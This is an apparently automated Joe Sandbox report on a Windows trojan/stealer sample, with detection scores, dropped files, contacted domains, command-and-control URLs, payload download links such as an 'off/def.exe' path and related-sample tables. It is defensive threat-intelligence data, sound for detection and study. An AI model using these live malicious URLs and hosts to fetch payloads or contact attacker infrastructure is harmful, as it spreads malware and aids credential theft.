Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
uDTW3VjJJT.exe	63%	ReversingLabs	Win32.Trojan.Generic
uDTW3VjJJT.exe	100%	Avira	TR/Crypt.XPACK.Gen
uDTW3VjJJT.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
discokeyus.lat	104.21.21.99	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.58.99	true	false	high
ax-0001.ax-msedge.net	150.171.27.10	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
grannyejh.lat	unknown	unknown	false	high
sweepyribs.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
necklacebudi.lat	false	high
https://discokeyus.lat/api	false	high
aspecteirs.lat	false	high
sweepyribs.lat	false	high
sustainskelet.lat	false	high
crosshuaht.lat	false	high
rapeflowwj.lat	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
energyaffai.lat	false	high
grannyejh.lat	false	high
discokeyus.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	uDTW3VjJJT.exe, 00000000.00000003.2248182683.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2247874260.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2248020686.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	uDTW3VjJJT.exe, 00000000.00000003.2248182683.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2247874260.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2248020686.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/aZ	uDTW3VjJJT.exe, 00000000.00000003.2321444033.0000000001467000.00000004.00000020.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2371259780.000000000146C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/c4becf79229cb002.phpk	DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2659631353.0000000000705000.00000004.00000020.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	uDTW3VjJJT.exe, 00000000.00000003.2248182683.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2247874260.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2248020686.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/T	uDTW3VjJJT.exe, 00000000.00000003.2541627764.0000000001450000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/ws	DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2659631353.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	uDTW3VjJJT.exe, 00000000.00000003.2321507749.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2321529611.0000000005C20000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/api7X	uDTW3VjJJT.exe, 00000000.00000003.2371332422.0000000005C20000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2371118711.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2384505747.0000000005C21000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2296930285.0000000005C18000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2296954609.0000000005C20000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/c4becf79229cb002.php0n	DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2659631353.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://x1.c.lencr.org/0	uDTW3VjJJT.exe, 00000000.00000003.2297718596.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	uDTW3VjJJT.exe, 00000000.00000003.2297718596.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	uDTW3VjJJT.exe, 00000000.00000003.2248182683.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2247874260.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2248020686.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefoxgro.all	uDTW3VjJJT.exe, 00000000.00000003.2298772132.0000000005D35000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.mozilla.or	uDTW3VjJJT.exe, 00000000.00000003.2298639103.0000000005C42000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	uDTW3VjJJT.exe, 00000000.00000003.2248182683.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2247874260.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2248020686.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	uDTW3VjJJT.exe, 00000000.00000003.2321507749.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2321529611.0000000005C20000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/hy	DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2659631353.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	uDTW3VjJJT.exe, 00000000.00000003.2321529611.0000000005C20000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/steam/random.exe	uDTW3VjJJT.exe, uDTW3VjJJT.exe, 00000000.00000003.2541627764.0000000001450000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php$n	DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2659631353.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	uDTW3VjJJT.exe, 00000000.00000003.2248182683.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2247874260.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2248020686.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	uDTW3VjJJT.exe, 00000000.00000003.2297718596.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php/	DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2659631353.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	false	high
http://ocsp.rootca1.amazontrust.com0:	uDTW3VjJJT.exe, 00000000.00000003.2297718596.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	uDTW3VjJJT.exe, 00000000.00000003.2248182683.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2247874260.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2248020686.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	uDTW3VjJJT.exe, 00000000.00000003.2298772132.0000000005D35000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	uDTW3VjJJT.exe, 00000000.00000003.2321507749.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2321529611.0000000005C20000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	uDTW3VjJJT.exe, 00000000.00000003.2248182683.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2247874260.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2248020686.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/	uDTW3VjJJT.exe, uDTW3VjJJT.exe, 00000000.00000003.2541627764.0000000001450000.00000004.00000020.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2541822532.00000000013C4000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/=	uDTW3VjJJT.exe, 00000000.00000003.2541627764.0000000001450000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/off/def.exe=	uDTW3VjJJT.exe, 00000000.00000003.2541627764.0000000001450000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	uDTW3VjJJT.exe, 00000000.00000003.2321507749.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2321529611.0000000005C20000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/	uDTW3VjJJT.exe, 00000000.00000003.2372070060.000000000146C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	uDTW3VjJJT.exe, 00000000.00000003.2321507749.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2321529611.0000000005C20000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	uDTW3VjJJT.exe, 00000000.00000003.2297718596.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/J	uDTW3VjJJT.exe, 00000000.00000003.2384731015.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/off/def.exe	uDTW3VjJJT.exe, uDTW3VjJJT.exe, 00000000.00000003.2541627764.0000000001450000.00000004.00000020.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2541822532.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://discokeyus.lat:443/api	uDTW3VjJJT.exe, uDTW3VjJJT.exe, 00000000.00000003.2384731015.000000000144B000.00000004.00000020.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2541627764.0000000001450000.00000004.00000020.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2541484535.0000000005C16000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206	DXNVSY83L0YWDTI5Q.exe, 0000000D.00000002.2659631353.000000000069E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	uDTW3VjJJT.exe, 00000000.00000003.2248182683.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2247874260.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2248020686.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/A	uDTW3VjJJT.exe, 00000000.00000003.2331254666.000000000144B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	uDTW3VjJJT.exe, 00000000.00000003.2321507749.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2321529611.0000000005C20000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.21.99	discokeyus.lat	United States	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578971
Start date and time:	2024-12-20 17:16:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	uDTW3VjJJT.exe renamed because original name is a hash value
Original Sample Name:	c55aabf570c84e3060df0d997f2bfb33.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@3/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.198.119.84, 20.223.35.26, 20.12.23.50, 40.69.42.241, 20.242.39.171, 23.218.208.109, 20.190.181.0, 13.107.246.63, 2.16.158.51, 150.171.27.10, 2.16.158.184
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, tse1.mm.bing.net, g.bing.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, wns.notify.trafficmanager.net, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, arc.trafficmanager.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, www.bing.com, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, iris-de-prod-azsc-v2-neu.northeurope.cloudapp.azure.com
Execution Graph export aborted for target DXNVSY83L0YWDTI5Q.exe, PID 6628 because there are no executed function
Execution Graph export aborted for target uDTW3VjJJT.exe, PID 6052 because there are no executed function
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: uDTW3VjJJT.exe

Simulations

Behavior and APIs

Time	Type	Description
11:17:12	API Interceptor	73x Sleep call for process: uDTW3VjJJT.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.21.99	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse
	NAliwxUTJ4.exe	Get hash	malicious	LummaC	Browse
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	gJkNLYV0ax.exe	Get hash	malicious	LummaC	Browse
	m21jm5y5Z5.exe	Get hash	malicious	LummaC	Browse
	gEfWplq0xQ.exe	Get hash	malicious	LummaC	Browse
	gNjo8FIKN5.exe	Get hash	malicious	LummaC	Browse
	f48jWpQ2F8.exe	Get hash	malicious	LummaC	Browse
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse
	SBLUj2UYnk.exe	Get hash	malicious	LummaC	Browse
185.215.113.206	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	Qmg24kMXxU.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.206/68b591d6548ec281/nss3.dll
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	MFQbv2Yuzv.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ax-0001.ax-msedge.net	BB4S2ErvqK.exe	Get hash	malicious	LummaC	Browse	150.171.28.10
	hvm4oOzDaX.exe	Get hash	malicious	Unknown	Browse	150.171.27.10
	SWIFT.xls	Get hash	malicious	Unknown	Browse	150.171.27.10
	https://click.pstmrk.it/3s/veed.io%2Fshare-video-link%3Ftoken%3DeyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzQ2MzE2NDgsImlhdCI6MTczNDYzMDc0OCwic3ViIjoiZmY0NTdiM2MtYjI3MC00YzA0LWEwOTEtYjY3ZDJkOGQ3ZTU1Iiwicm9sZXMiOltdLCJraWQiOiJwcm9qZWN0cy92ZWVkLXByb2Qtc2VydmVyL2xvY2F0aW9ucy9ldXJvcGUtd2VzdDEva2V5UmluZ3MvdmVlZC1wcm9kLWtleXJpbmcvY3J5cHRvS2V5cy92ZWVkLXByb2QtandrLWtleS9jcnlwdG9LZXlWZXJzaW9ucy8xIiwiZmVhdHVyZXMiOnt9LCJzY29wZXMiOltdfQ.f-EtSCYYeQiR4cEb8w5ABF3koXpbxl8QeFIarADkLP6q32DzsnFZl76Y98Uad7M8RBPPuOQOV9SUbCY1hRa4IbqV9_4cTm0v7DuBTCKOZbHN1NiATZOGw2BzdEMqIEfnNo5A_H2_DLVQZLtd6sZzcRoNBzbmcq2_xlzWgmqIErGV0VYXIb-Vac1b-3wmAgIyE-VS7Cd5aHYtVyiV9T5HfrpjPl7-M6dLIaQqm6103z7gO_qoKow1qbFmNgGaUsQED1CHbqo-hCgXzib7NToyu0Qq4kSl-2NEzgLMKy1zFR2J0E0vr9FHirjR9fmmDF2nk76Ht8L2WbV-dRyXZBZaUikfojo56vYWI9cfSQrG_awuFNR0M1s6dpPwumDM8sXlMZYt4u5WZaNcRZynPHXeqNZcdwKhlZrFN0U3B3U7B69avz_FlMxw6Or_0aeJkUP5YZP3wH-IIbwwa6es37u8G7gWYINEfp-pJlKV7klV1CcskLf_53iNx7MtxgvAXLMNZJ2tnuxY8W6w_E-pchjpNP2I5NV2Ui2_bNSgl3kBuX3oWsX0m_wL3MZ39pE3paPp2FAIgQPpZ5a0BhmPYsMk2IPPel2dll8j1IYBwHsZ5a1IHsHA6gTMWkJl-uhAjN4mnXo7Om0NWRZvfFvatgA4YCoTXdntM31GIZxAyWF9a14%26postLoginUrl%3D%252Fview%252F3ab9b7be-178c-4289-b29e-75921856f7f5%252F/oMlP/0SC6AQ/AQ/15f5e010-d260-490a-9e5d-79f5643b5481/1/HSOO9aL291	Get hash	malicious	Unknown	Browse	150.171.27.10
	https://p.placed.com/api/v2/sync/impression?partner=barkley&plaid=0063o000014sWgoAAE&version=1.0&payload_campaign_identifier=71700000100870630&payload_timestamp=5943094174221506287&payload_type=impression&redirect=http%3A%2F%2Fgoogle.com%2Famp%2Fs%2Fgoal.com.co%2Fwp%2Fpayment	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10
	ktyihkdfesf.exe	Get hash	malicious	Vidar	Browse	150.171.27.10
	ep_setup.exe	Get hash	malicious	Unknown	Browse	150.171.28.10
	ep_setup.exe	Get hash	malicious	Unknown	Browse	150.171.27.10
	https://pdf.ac/3eQ2md	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	150.171.28.10
	IzFEtXcext.dll	Get hash	malicious	Unknown	Browse	150.171.27.10
discokeyus.lat	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.21.99
	zhQFKte2vX.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	ddySsHnC6l.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	NAliwxUTJ4.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.197.170
	Z8oTIWCyDE.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	104.21.21.99
	BB4S2ErvqK.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	rEK6Z2DVp8.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	iv382V1eOK.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	data.exe	Get hash	malicious	Unknown	Browse	217.20.58.99
	4hSuRTwnWJ.dll	Get hash	malicious	Unknown	Browse	217.20.58.100
	YinLHGpoX4.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	217.20.58.99
	gCXzb0K8Ci.ps1	Get hash	malicious	Unknown	Browse	217.20.58.99
	H2PspQWoHE.ps1	Get hash	malicious	Unknown	Browse	84.201.212.68
	H6epOhxoPY.ps1	Get hash	malicious	Unknown	Browse	217.20.58.100
	KcKtHBkskI.ps1	Get hash	malicious	Unknown	Browse	217.20.58.100
	1M1QoJF40r.ps1	Get hash	malicious	Unknown	Browse	84.201.211.18
	v4BET4inNV.vbs	Get hash	malicious	GuLoader	Browse	217.20.58.101
	FjfZ7uM8zh.lnk	Get hash	malicious	Unknown	Browse	217.20.58.100

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.21.99
	zhQFKte2vX.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	http://www.eventcreate.com/e/you-have-received-a-new-doc	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	ddySsHnC6l.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	NAliwxUTJ4.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.197.170
	Z8oTIWCyDE.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	104.21.21.99
	http://email.mg.mylearninghub.com/c/eJyUzr9OxCAcAOCngc2Gf6UwMBjPeiZ3i4nJeRuF3vWXUlBKz9anNw5OTu7f8HlDnacU94Y2XEhKJFF4MPqinXaO1KLXyhHbKKuJrLUinXVKKgyGESYoo5oyKkVT-UbwWrva876RjikkyHStpi30NkeI12HpKpcmHMxQyvuM-D1iLWKt70Oxv-ivR6y1SxkQay-Q53JIV4htCiF9HiCOiLcu-f4hxQvkCfHdG23G7vixvj4v9XY80ePTeHoJqzz79XGvzivZf51P4w0Qk-AR30muFM7GbnHJVWfzCBEJ4i2AG-ButnHc0k-jKhmX_83xzbDvAAAA__-qL3Ha	Get hash	malicious	Unknown	Browse	104.18.42.227
	https://dnearymedahealthstaffing.wordpress.com/medahealthstaffing-proposal/	Get hash	malicious	HTMLPhisher	Browse	104.21.73.56
WHOLESALECONNECTIONSNL	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206
	Qmg24kMXxU.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	f48jWpQ2F8.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	UyiH4t5dph.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43
WHOLESALECONNECTIONSNL	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206
	Qmg24kMXxU.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	f48jWpQ2F8.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	UyiH4t5dph.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.21.99
	zhQFKte2vX.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	ddySsHnC6l.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	NAliwxUTJ4.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.21.99
	Z8oTIWCyDE.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	104.21.21.99
	BB4S2ErvqK.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	rEK6Z2DVp8.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	iv382V1eOK.exe	Get hash	malicious	LummaC	Browse	104.21.21.99

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
